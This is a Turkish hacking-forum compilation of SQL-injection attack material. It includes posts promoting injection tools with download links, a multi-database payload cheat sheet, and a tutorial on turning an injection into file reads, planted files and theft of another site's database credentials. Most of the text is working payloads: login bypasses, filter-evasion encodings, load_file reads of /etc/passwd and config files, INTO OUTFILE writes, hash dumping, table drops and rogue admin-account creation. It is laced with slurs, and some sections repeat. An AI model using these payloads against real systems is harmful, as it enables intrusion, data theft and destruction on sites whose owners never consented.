Uzun zaman yazdıgım fakat public etmeyip priv8 olarak kullandıgım yazılımın son sürümünü çıkardıgım için v1.0 sürümünü sizlerle paylaşıyorum
Programın amacı : Bir site üzerindeki tüm linklere tek tek girer o linklerde sql , xss taraması yapar aynı zamanda o linkler arasında get ve post tüm sayfalarıda alır.
Screen :A
Download : http://uploaded.to/?id=077dnc
Programda olmasını istediginiz özellikleri bu başlık altında yorumla yazabilirsiniz
Kullanım : ilk önce bir site adını girin sonra indexteki linkleri topla diyin indexteki linkleri toplama işlemi bittikten sonra tüm linkleri toplayın.
NOT : Bir gün herkez linux çü olacak ... (Programda AYYILDIZ geçmesinin sebebi ise bağzı özellikleri onlara göre ayarladıgım için bu onlara özel sürüm)
Yeni bir mysql injection teknigi :A
SELECT CONCAT(table_name,'>',GROUP_CONCAT(column_name)) FROM information_schema.columns WHERE table_schema=database() GROUP BY table_name LIMIT 1,1
SELECT CONCAT(table_name,'>',GROUP_CONCAT(column_name)) FROM information_schema.columns WHERE table_schema=database() GROUP BY table_name LIMIT 2,1
SELECT CONCAT(table_name,'>',GROUP_CONCAT(column_name)) FROM information_schema.columns WHERE table_schema=database() GROUP BY table_name LIMIT 3,1
SELECT CONCAT(table_name,'>',GROUP_CONCAT(column_name)) FROM information_schema.columns WHERE table_schema=database() GROUP BY table_name LIMIT n,1
SQL Injection Pentesting Tool [4] made in russian
Author: P.Crew / Etiketler: bypass, Sql, Sql İnjection, yasak karakterlerDownload:http://rapidshare.com/files/128851354/sipt4.rar.html
bugun size bu programı verme geregini duydum.kendimde arada sırada kullanıyorum.yararlı bir sql injection toolsu.rusların yaptıgı bu programın özelligi
sql inj. açıgında dosya oluşturmak
tablo adlarını vs.vermek.
Dosya okumak.(load_file)
magic qoutes i çok rahat geçiyor zaten tablo adlarını falan linkte verirken hexlenmiş halini veriyor bu yuzden magice takılmıyor.ve daha birçogu...
-kullanımı
ilk başlarda size çok karmaşık gibi gelsede hiçde öyle degil.
URL kısmına sql inj açıgı olan siteyi ve parametresini ayrıca karşısındaki degeride yani
ex:http://site.com/murat.php?id=-1
bu şekilde yazıyorsunuz ama unutmayın {SQLINJ}
yazısı kalacak yani son hali böyle olacak
http://localhost/test.php?getid=-1{SQLINJ}
ardından
Check get diyosunuz ve yapmak istediginiz şeyleri butonlara basarak yapabilirsiniz.
Not:programda virüs yoktur yinede emin olmak için programı taratınız.
Sql Injection,yasaklanmış karakterler hakkında
Alemin_Kralından Alıntıdır...sql injection saldırıları yaparken hep böyle hata almaya çalıştık
site.com/mismis.php?parametre=değişken'a
ama bazen bunu koydugumuzda beyaz bir sayfayla falan karşılaşabiliyoruz bunun sebebi
oruspu ç.webmasterların ' gibi karakterleri engellemesindendir başka birşeyden degildir
biz lameroglu lamerlerde bunu geçmek için şu fonksiyonları kullanırız
concat() char()
şimdi bir örnek verelim . ne yapalım mesela kullanicilar tablosundan kullanici columndan verileri çekmek isteyelim sorgumuz nasıl oluşur ?
SELECT kullanici FROM kullanicilar WHERE kullanici='admin'
evet sorgum böyle olcek. ama bizim piç webmaster ipnelik yapmış gene ve alamadık istedigimiz çok istegimiz verileri vayy gitti herneyse.şimdi nasıl alacaz biz nasıl bir piçlik yapacazki bu verileri alacaz ?
hemen şey edim
select kullanici from kullanicilar where kullanici=CONCAT(CHAR(39),CHAR(97),CHAR(100),CHAR(109),CHAR(105),
CHAR(110),CHAR(39))
şeklinde bir saldırı uygularsak istedigimiz verilere ulaşabilirz.
bkz: http://www.easycalculation.com/ascii-hex.php
mysql inj:dosya oluşturmak~ dosya okumak
Author: P.Crew / Etiketler: injection, mysql, Sql, Sql İnjectionmysql injection olayında dosya oluşturmak çok basittir.hemen göstereyim.
şimdi sitemiz burası olsun
http://www.site.com/x.php?id=1
aldıgımız hatalara göre colomnları yazalım örnegin 5 colomn olsun
http://www.site.com/x.php?id=-1 union select 1,2,3,4,5
aldıgımız hatada 3 olsun
http://www.site.com/x.php?id=-1 union select 1,2,'buraya oluştracagimiz dosyanin kodu',4,5 INTO+OUFILE+'sitenin dizini/olusturacaginiz dosyanin adi'/*
örnegin kendimize rfi yolu açabiliriz
"buraya oluştracagimiz dosyanin kodu" yazan yere ''
bsait bir sayfa çagırma kodu ile kendimize rfi yolu açabiliriz.
Dosya okumak ise daha basit bir olay.load_file() fonksiyonu ile dosya okuyabilirsiniz.
şöyleki
union select 1,2,load_file(etc/passwd) komutu ile etc dizinindeki passwd dosyasını okuyabilirsiniz yada sizin istediginiz dosyayı... ama bazen magic qoutes buna karşı koyar onun içinde hexleyip başına 0x katarak olayı çözebilirsiinz.bazende hexlemek yetmez charlayip yapmaya gerek kaabilir o da şöyle oluyorki;
LOAD_FILE(CHAR(charladiginz dizin))
gibi...
Sql Injection,yasaklanmış karakterler hakkında
Author: P.Crew / Etiketler: cracker, Hacked, hekıd, heykıd, sekule, Sql, Sql İnjectionsql injection saldırıları yaparken hep böyle hata almaya çalıştık
site.com/mismis.php?parametre=değişken'a
ama bazen bunu koydugumuzda beyaz bir sayfayla falan karşılaşabiliyoruz bunun sebebi
oruspu ç.webmasterların ' gibi karakterleri engellemesindendir başka birşeyden degildir
biz lameroglu lamerlerde bunu geçmek için şu fonksiyonları kullanırız
concat() char()
şimdi bir örnek verelim . ne yapalım mesela kullanicilar tablosundan kullanici columndan verileri çekmek isteyelim sorgumuz nasıl oluşur ?
SELECT kullanici FROM kullanicilar WHERE kullanici='admin'
evet sorgum böyle olcek. ama bizim piç webmaster ipnelik yapmış gene ve alamadık istedigimiz çok istegimiz verileri vayy gitti herneyse.şimdi nasıl alacaz biz nasıl bir piçlik yapacazki bu verileri alacaz ?
hemen şey edim
select kullanici from kullanicilar where kullanici=CONCAT(CHAR(39),CHAR(97),CHAR(100),CHAR(109),CHAR(105),
CHAR(110),CHAR(39))
şeklinde bir saldırı uygularsak istedigimiz verilere ulaşabilirz.
bkz: http://www.easycalculation.com/ascii-hex.php
Farklı Sql İnjection Yöntemleri
' union select * from msysobjects in 'c:\ <<< "access sql dosya okuma
' and 1 in (select min(name) from sysobjects where xtype = 'U' and name > '.') --
burada select @@version fonksiyonunu encodeledik .
; declare @x varchar(80); set @x = 0x73656c65637420404076657273696f6e;
EXEC (@x)
'; EXEC ('SEL' + 'ECT US' + 'ER')
' and 1 in (select cast(x as varchar) from temp) --
' and 1 in (select min(filename ) from master.dbo.sysdatabases where filename >'.' ) --
' union select 0, sysobjects.name + ': ' + syscolumns.name + ': ' +
systypes.name, 1, 1, '1', 1, 1, 1, 1, 1 from sysobjects, syscolumns, systypes where sysobjects.xtype
= 'U' AND sysobjects.id = syscolumns.id AND syscolumns.xtype = systypes.xtype --
; bulk insert tempdb..passwords from 'c:\temp\passwords.txt'
uni'on sel'ect @@version-'-
'update users set password='password' where username='admin'--'
' update News set Title=min( char(80), char(83) ) -- yada
' update News set Title=char(80),char(70)--
; insert into users values ( 0, char(0x31), char(0x34), 0xffff) << harfleri birleştiriyon
yani char(85)=m char(88)=u char(90)=r gibi anladın ?
; bulk insert foo from 'c:\inetbub\wwwroot\login.asp' << guzel gibi.
; create table foo( line varchar(8000) )
' drop table foo --
' union select ret,1,1,1 from foo--
' union select min(password) from users where username > 'a' --
' union select min(username) from users where username > 'a' --
; insert into users values ( 0, 'admin', 'r00tr0x!', 0xffff) << login sayfalarinda
' union select 1,username,password,4 -- <<< bunu giris sayfalarında yapabiliriz.
'or 1=1 --
; drop table users-- << login sayfalarinda
' union select sum(username) from user-- >>>sayi fonksiyonu olabilir.
' and 1 in (select substring (x, 256, 256) from temp) --
' and 1 in (select @@servername ) --
MS SQL
exec sp_addlogin 'victor', 'Pass123'
exec sp_addsrvrolemember 'victor', 'sysadmin'
MySQL
INSERT INTO mysql.user (user, host, password) VALUES ('victor', 'localhost', PASSWORD('Pass123'))
Access
CREATE USER victor IDENTIFIED BY 'Pass123'
Postgres (requires UNIX account)
CREATE USER victor WITH PASSWORD 'Pass123'
Oracle
CREATE USER victor IDENTIFIED BY Pass123 TEMPORARY TABLESPACE temp DEFAULT TABLESPACE users;
GRANT CONNECT TO victor;
GRANT RESOURCE TO victor;
MS Access;
MsysACEs
MsysObjects
MsysQueries
MsysRelationships
' and 1 in (select min(name ) from master.dbo.sysdatabases where name >'.' ) --
'or'1'='1'
UNI/**/ON SEL/**/ECT
yada
; declare @x nvarchar(80); set @x = N'SEL' + N'ECT US' + N'ER');
EXECUTE IMMEDIATE 'SEL' || 'ECT US' || 'ER'
formusr = ' or 1=1 – –
formpwd = anything
Final query would look like this:
SELECT * FROM users
WHERE username = ' ' or 1=1
$formacct = 1 or 1=1 #
$formpin = 1111
Final query would look like this:
SELECT * FROM clients
WHERE account = 1 or 1=1
# AND pin = 1111
' and 1 in (select 'text' ) - -
union select if( condition , benchmark (100000, sha1('test')), 'false' ),1,1,1,1;
' and condition and '1'='1
Could be as simple as ' and '1' = '1
Or ' and '1' = '2
union select if( user() like 'root@%', benchmark(50000,sha1('test')), 'false' );
''Ugurcan Engin'' adlı kisinin yazdıgı dökümanı paylasmak istiyorum gercekten cok güsel bir döküman...
MySQL İnjection Cheat Sheet
İÇERİK
1-MySQL Remote Connect - Analiz & Olusabilicek Tehlikeler
2-Hacking Anatomi - MySQL İnjectin-Database Dump
3-Syntax Hataları & Çözümler
4-MySQL Front Kullanımı ile MySQL Remote Connect
MySQL Uzaktan Yonetim - Analizi & Olusabilicek Tehlıkeler
MySQL sorgu dili yonetimindeki dbms (Database Manage System) veritabanına
uzaktan baglanarak veritabanımızı duzenlemek veyahut performans’ı artırmak icin
bir kac sey ekleyebilme ihtiyacı duyabiliriz. Windowsdaki mstsc (Remote Desktop Connect) ile
aynı mantıga sahip de denebilir; fakat is veritabanına uzaktan baglanmaya gelince biraz dusunduruyor.
Guvenlık prosudürü’nu goz onune almak gereklı boyle bir ise koyulmadan evvel.
MySQL’in Kullandıgı Port
” mysql/my.ini ” open !
# The TCP/IP Port the MySQL Server will listen on
” port=3306 ”
+ Buradan portu degistirebiliriz.
Biraz Önlem Brifingi..
- SQL Serverin dısardan baglantisinin kısıtlanması veya baglanacak userlere MySQL de kısıtlı politika uygulanması
mesela sadece kendi db’sine erisim hakkı.
-Once saglamlıgına kanat ettiginiz bir makınada bu tip islemleri yapmanız. (root girisi icin , Lisanslı Firewall destekli bir makına )
-Web teknıklerı yonunden dusundugumuz de is daha vahim boyuta donusebilir , buna asagıda deginecegiz.
Yani sitenızde kullangınız db’e ait script’de herhangi bir acık olmayacak.
Artık ne yapıp edın local sunucunuza scriptinizi kurup , defalarca atak yaparak test edin
ozellikle “SQL” sorgularımıza dikkat ediniz hem kendımız icin hemde serverdaki diger userler (diger siteler)icin
bir tehlıke olusmayacaktır.Aynı zamanda localde aynı databaseyi kullanan siteler icinde.
Diger userlerle ortak kullandıgnız bir database varsayalım , 150 kusurluk bir sub domaın’ın aynı veritabanını kullandıgını
göz onunde bulundurabılırız. İste burada herhangi bir tabloda yapılacak degisiklik diger kisilerinde sistemlerinin etkılenmesıne
web sayfasındakı iceriklerin otomatıkmen aynı sekılde update olmasına neden olcaktır.
-Mumkunse On-Screen Keyboard kullanmanız. (Eger isiniz cok acilse yabancı bir makınadaysanız)
Hacking Anatomi - Load_File & MySQL Database Dump
Herhangi bir sitede SQL İnjection tespit ettigimizi varsayalım ,
Aslında amacımız bu sitedekı SQL İnjectin zaafiyatını kullanarak serverdaki diger sitenin (victim2)’nin
db’sine erismek. Burda MySQL’in uzaktan istege acık oldugunu + serverin Linux dagıtımlarından birini kullandıgını varsayıyorum.
Yapacagımız ilk is MySQL Sorgularını , kurbanın sitesinde servera isletmek olcaktır.
**********
victim.php?id=-1+order+by+7–
// kolon sayısını ogrenıyorum
victim.php?id=-1/**/union/**/select/**/0,1,2,3,4,5,6,7/*
3 4
// Kolon sayısınının esit oldugunu soyluyor.
victim.php?id=-1+union+select+0,1,2,load_file(/etc/passwd),4,5,6,7/* < Linux All
*Linux da “userler”in yetkılerıne temelli sahibiz,
*Windows icin de aynı sey gecerlidir.
********************
// Eger Makina Windows olsaydı..
boot.ini‘yi okuyabiliriz , engel varsa hexleriz.
select ‘c:/boot.ini’
select 0×633a2f626f6f742e696e69
Domainler ” C:/Inetpub ” burada.
victim.php?id=-1+union+select+0,1,2,load_file(0×633a2f626f6f742e6 96e69),4,5,6,7/*
****************************************
Blind Edebiliriz !
substring(load_file(’c:/boot.ini’),58)
” [boot loader] timeout=30 default=multi(0)disk(0)rdisk(0)partition(2)\WINDOW S …”
****************************************
Windows icinde asagıda goreceginiz teknıkler birebir aynıdır.. Extra uzerınde durmaya gerek yok.
Simdi konumuza geri donelım;
//Kullanıcı adı ve dizinlerin bulundugu yerı ogrenmem icin etcleri listelemem gerekli.
Eger bunu yapamazsanız servera hata verdirip ana dizin yolu ogrenebilirsiniz; ama bu sadece uzerinde calıstıgımız
site icin gecerli olacaktır.
Bu tip karakterlerin(’,-) serverda islemedigi durumlarda kurdugumuz sorguları hexleriz veya ascii koda cevirip sorguya
dahil ederiz.
Neden bu karakterle pasif olur peki ?
php.ini deki “magic_quotes_gpc” direktifinin “On” olmasıdır. Dolayısyla numerik dısında gelen sayıları ters slash’a “\,/”
cevirecektir.
Calısma mantıgı ,
(int) , intval(GET),POST,COOKİE) , addslashes() ile aynı isleve sahiptir.
****************************************
- UYGULAMA -
/**/union/**/select/**/0,1,2,load_file(/etc/passwd),4,5,6,7/*
Eger engel varsa ;
> > victim.php?=88888881 union select 0,1,2,unhex(hex(/etc/passwd),4,5,6,7
// Serverda ki tüm kullanıcı adları ve konumlandıgı klasörler karsımızda.
Target “victim2?
/home/victim2/httpdocs:
/home/site/httpdocs:
***********
Amacımız victim2 adlı kurbanın dbsini ele gecirmek , Bunun icin victim2 adlı hedefin
db bilgilerinin saklandıgı dosyayı bulmak gereklı , genelde “config.php” , main.php , common.php olur
Uzamasın diye kısaltalım biraz “httpdocs” adlı klasorde “main.php” oldugunu varsayıyorum
soyle bir ıstekde bulunuyorum ;
/**/union+select+0,1,2,load_file(/home/victim2/httpdocs/main.php),4,5,6,7/*
// Burada gene hexleyecegız parantez icindekı karakterleri.
/**/union/**/select/**/0,1,2,load_file(0×2F686F6D652F76696374696D322F6874 7470646F63732F6D61696E2E706870),4,5,6,7/*
************
Syntax Hataları & Çözümler
Alternatif durumlar da goreve dahil ettigimiz MySQL katarları : “char” , “concat” , “blob” , “varchar” …
Serverda ” magic_quotes_gpc = On ” direktifi aktif oldugunda ;
victim.php?id=88888881 union select 0,1,2,3,4,5,6,7
3 4
/home/victim2/httpdocs/main.php < Go to ascıı code converted
victim.php?=88888881 union select 0,1,2,load_file(char(/home/victim2/httpdocs/main.php))),4,5,6,7
victim.php?=88888881 union select 0,1,2,load_file(concat(char(47,104,111,109,101,47, 118,105,99,116,105,109,50,47,104,116,116,112,100,1 11,99,115,47,109,97,105,110,46,112,104,112)))),4,5 ,6,7
[ part 1]
“information_schema” adlı databaseden satırları okuyarak tüm db isimleri ve kolon+satırları elde ederiz.
/**/union/**/select/**/0,1,2,concat(COLUMN_NAME,0×2020,TABLE_NAME,0×2020, TABLE_SCHEMA),4,5,6,7+from+information_schema.colu mns+limit+1,8/*
1 kayıttan baslıyoruz , 8. son kayıta kadar sorguluyoruz.
Example :
SELECT * FROM `users` LIMIT 1, 8
[ part 2 ]
/**/union/**/select/**/0,1,2,concat(table_name),4,5,6,7+from+information_ schema.tables+where=’DB_NAME’+limit 1,8/*
Engel oldugunu varsayıyorum ,
union select 0,1,2 unhex((hex(table_name))) 4,5,6,7 from information_schema.tables where char(ascicode(DB_NAME)) limit 1,8
****************************************
[+] Yukarıda load_file ile yaptıgım atağın sonucu geldı.
// Database Server
$forum_server = “localhost”; // Ben yerel sunucumu (Localhost) ele alıyorum.
// Database User Name
$forum_un = “root”;
// Database Password
$forum_pw = “nrci”;
// Database name
$forum_database = “SQL_GODS”;
?>
Bakın victim1 deki SQL hatalarını İnjecte edip serverdakı dizinleri okuyup victim2 adlı userin veritabanı baglantı
bilgilerini ele gecirdik , yani anahtarı aldık.. Fakat burada soyle bir sey var sunucunun dısında oldugumuzdan
“victim2? adlı kurbanın dbsine erismemiz icin serverin 3306.portunun Remote baglanti icin “enable” olması lasim. Eger disable durumdaysa bir ise yaramaz.
Remote Baglantı İşimiz sadece MySQL Front veya telnet tipi programlar ile basitlesebiliyor.
Localımız de MySQL databasemize baglanmak , sql cekmek , tum MySQL islemlerimizide “mscommand” uzerınden de yapabiliriz.
Example :
D:\wos\mysql\bin>mysql –user=root –password=root
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 1
Server version: 5.0.45-community-nt MySQL Community Edition (GPL)
Type ‘help;’ or ‘\h’ for help. Type ‘\c’ to clear the buffer.
mysql> create database U238;
Query OK, 1 row affected (0.01 sec) // Örnek olarak bir veritabanı olusturdum.
****************************************
MySQL’i injecte ederken isimize yarıycak 2 database ve kolon+satırlar ,
————————–
+++ information_schema +++
“COLUMNS”
+++ “TABLES” +++
+++ mysql +++
“db”
+++ “user” +++
————————-
// Dolayısıyla mysql.user veritabanını kullanarak mysql veritabanındakı “users” adlı tablodan mysql root sifresinin
hashını da alabiliriz. Hashı crack edip Remote baglanti ile tüm databaseye ulasılabilir.
+ User
+ Password
/**/union/**/select/**/0,1,2,concat(user,0×2020,password),4,5,6,7+from+my sql.user/*
MySQL Front Usage & Remote Connect
Public edilmis sekilde asagıdaki adresten indirebilirsiniz.
http://www.mysqlfront.de/download.html
Programı oncelıkle kurup - actıgımız da karsımıza
“Add Session” Adı altında “General” sekmesi gelecektir.
// Burada bir isim giriyoruz farketmez ne oldugu. Daha sonra hemen yanındaki inputa(bosluga) geliyoruz.
“Connection”
// Server ile baglanti ayarlarını yapıyoruz. Yerel sunucumu kullanıyorum.
* Server : 127.0.0.1 // Baglanacagımız serverin “İp” adresi , (victim protokol)
* Port : 3306 // (Genelde sabit olur ) Eger SQL serverin Portu’nu degistirdiysenız, o portu aynen giriyoruz.
* Connection Type : Built-in // Baglantı türümüzü ayarlıyoruz , sabit kalması muhtemel isimizi gorecektir.
“Login”
//Burada db bilgilerini giriyoruz .
Daha sonra “ok” + “Open” deyip baglanıyoruz.
Not: “İp” adresi ile servera istek yollanır , uzak masaustu gibi dusunun, siz o serverda bir “user” veya full db erisim hakkına sahip olan
root gibi dusunun , sadece belirtilen “db” altındakı tablo ve kolonlara erisiriz.Yani tum veritabanı degil. Eger userler icin
MySQL yetkileri kısıtlanmamıssa ;
İste Bu kadar. Suanda , ”sql” rahatlıkla export edilebilir , Tablolar dakı tum bılgıler okunabilir , Yenı tablo ve kolonlar olusturulabilir.Database drob edilebilir.